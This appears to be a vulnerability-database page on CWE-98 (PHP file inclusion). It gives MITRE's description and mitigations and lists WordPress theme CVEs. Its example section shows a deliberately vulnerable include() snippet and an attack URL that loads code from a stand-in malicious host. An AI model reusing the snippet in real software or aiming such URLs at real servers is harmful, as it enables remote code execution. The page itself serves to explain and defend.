Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CWE-98 (PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含)) — Vulnerability Class 1083

1083 vulnerabilities classified as CWE-98 (PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含)). AI Chinese analysis included.

CWE-98 represents a critical input validation weakness where PHP applications fail to properly sanitize user-supplied data before passing it to include or require functions. Attackers typically exploit this by injecting malicious URLs or local file paths, enabling Remote File Inclusion (RFI) or Local File Inclusion (LFI). This allows adversaries to execute arbitrary code hosted on external servers or access sensitive system files, often leading to full server compromise. To mitigate this risk, developers must strictly validate and whitelist allowed filenames or paths, ensuring only expected local resources are included. Additionally, disabling the allow_url_include and allow_url_fopen directives in the PHP configuration prevents the inclusion of remote files entirely. Implementing robust input validation and adhering to the principle of least privilege significantly reduces the attack surface associated with dynamic file inclusion mechanisms.

MITRE CWE Description
The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions. In certain versions and configurations of PHP, this can allow an attacker to specify a URL to a remote location from which the product will obtain the code to execute. In other cases in association with path traversal, the attacker can specify a local file that may contain executable statements that can be parsed by PHP.
Common Consequences (1)
Integrity, Confidentiality, AvailabilityExecute Unauthorized Code or Commands
The attacker may be able to specify arbitrary code to be executed from a remote location. Alternatively, it may be possible to use normal program behavior to insert php code into files on the local machine which can then be included and force the code to execute since php ignores everything in the f…
Mitigations (5)
Architecture and DesignUse a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Architecture and DesignWhen the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Architecture and DesignFor any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Architecture and Design, OperationRun the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For ex…
Effectiveness: Limited
Architecture and Design, OperationRun your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database ad…
Examples (1)
The following code, victim.php, attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied 'module_name' parameter and appending the string '/function.php' to it.
$dir = $_GET['module_name']; include($dir . "/function.php");
Bad · PHP
victim.php?module_name=http://malicious.example.com
Attack
CVE IDTitleCVSSSeverityPublished
CVE-2025-58891 WordPress Sanger theme <= 1.24.0 - Local File Inclusion vulnerability — Sanger 8.1 High2025-12-18
CVE-2025-58889 WordPress Towny theme <= 1.16 - Local File Inclusion vulnerability — Towny 8.1 High2025-12-18
CVE-2025-58892 WordPress Tourimo theme <= 1.2.3 - Local File Inclusion vulnerability — Tourimo 8.1 High2025-12-18
CVE-2025-58890 WordPress Playful theme <= 1.19.0 - Local File Inclusion vulnerability — Playful 8.1 High2025-12-18
CVE-2025-58879 WordPress Festy theme <= 1.13.0 - Local File Inclusion vulnerability — Festy 8.1 High2025-12-18
CVE-2025-58803 WordPress Algenix theme <= 1.0 - Local File Inclusion vulnerability — Algenix 8.1 High2025-12-18
CVE-2025-58885 WordPress Pathfinder theme <= 1.16 - Local File Inclusion vulnerability — Pathfinder 8.1 High2025-12-18
CVE-2025-58706 WordPress Woo Hoo theme <= 1.25 - Local File Inclusion vulnerability — Woo Hoo 8.1 High2025-12-18
CVE-2025-58709 WordPress Legacy theme <= 1.9 - Local File Inclusion vulnerability — Legacy 8.1 High2025-12-18
CVE-2025-58225 WordPress Paragon theme <= 1.1 - Local File Inclusion vulnerability — Paragon 8.1 High2025-12-18
CVE-2025-58708 WordPress 777 theme <= 1.3 - Local File Inclusion vulnerability — 777 8.1 High2025-12-18
CVE-2025-53447 WordPress Assembly theme <= 1.1 - Local File Inclusion vulnerability — Assembly 8.1 High2025-12-18
CVE-2025-53448 WordPress Rally theme <= 1.1 - Local File Inclusion vulnerability — Rally 8.1 High2025-12-18
CVE-2025-53449 WordPress Convex theme <= 1.11 - Local File Inclusion vulnerability — Convex 8.1 High2025-12-18
CVE-2025-53453 WordPress Hygia theme <= 1.16 - Local File Inclusion vulnerability — Hygia 8.1 High2025-12-18
CVE-2025-53443 WordPress Smash theme <= 1.7 - Local File Inclusion vulnerability — Smash 8.1 High2025-12-18
CVE-2025-53446 WordPress Beautique theme <= 1.5 - Local File Inclusion vulnerability — Beautique 8.1 High2025-12-18
CVE-2025-53445 WordPress Catwalk theme <= 1.4 - Local File Inclusion vulnerability — Catwalk 8.1 High2025-12-18
CVE-2025-53441 WordPress Greeny theme <= 2.6 - Local File Inclusion vulnerability — Greeny 8.1 High2025-12-18
CVE-2025-53442 WordPress Rentic theme <= 1.1 - Local File Inclusion vulnerability — Rentic 8.1 High2025-12-18
CVE-2025-53437 WordPress Greenorganic theme <= 2.45 - Local File Inclusion vulnerability — Greenorganic 8.1 High2025-12-18
CVE-2025-53435 WordPress Plan My Day theme <= 1.1.13 - Local File Inclusion vulnerability — Plan My Day 8.1 High2025-12-18
CVE-2025-53439 WordPress Harper theme <= 1.13 - Local File Inclusion vulnerability — Harper 8.1 High2025-12-18
CVE-2025-53438 WordPress FitLine theme <= 1.6 - Local File Inclusion vulnerability — FitLine 8.1 High2025-12-18
CVE-2025-53436 WordPress Monki theme <= 2.0.5 - Local File Inclusion vulnerability — Monki 8.1 High2025-12-18
CVE-2025-53430 WordPress Etta theme <= 1.14.0 - Local File Inclusion vulnerability — Etta 8.1 High2025-12-18
CVE-2025-53431 WordPress Emberlyn theme <= 1.3.1 - Local File Inclusion vulnerability — Emberlyn 8.1 High2025-12-18
CVE-2025-53433 WordPress EasyEat theme <= 1.9.0 - Local File Inclusion vulnerability — EasyEat 9.8 Critical2025-12-18
CVE-2025-53434 WordPress ChildHope theme <= 1.1.8 - Local File Inclusion vulnerability — ChildHope 8.1 High2025-12-18
CVE-2025-53432 WordPress Echo theme <= 1.15.0 - Local File Inclusion vulnerability — Echo 8.1 High2025-12-18

Vulnerabilities classified as CWE-98 (PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含)) represent 1083 CVEs. The CWE taxonomy describes the weakness; review individual CVEs for product-specific impact.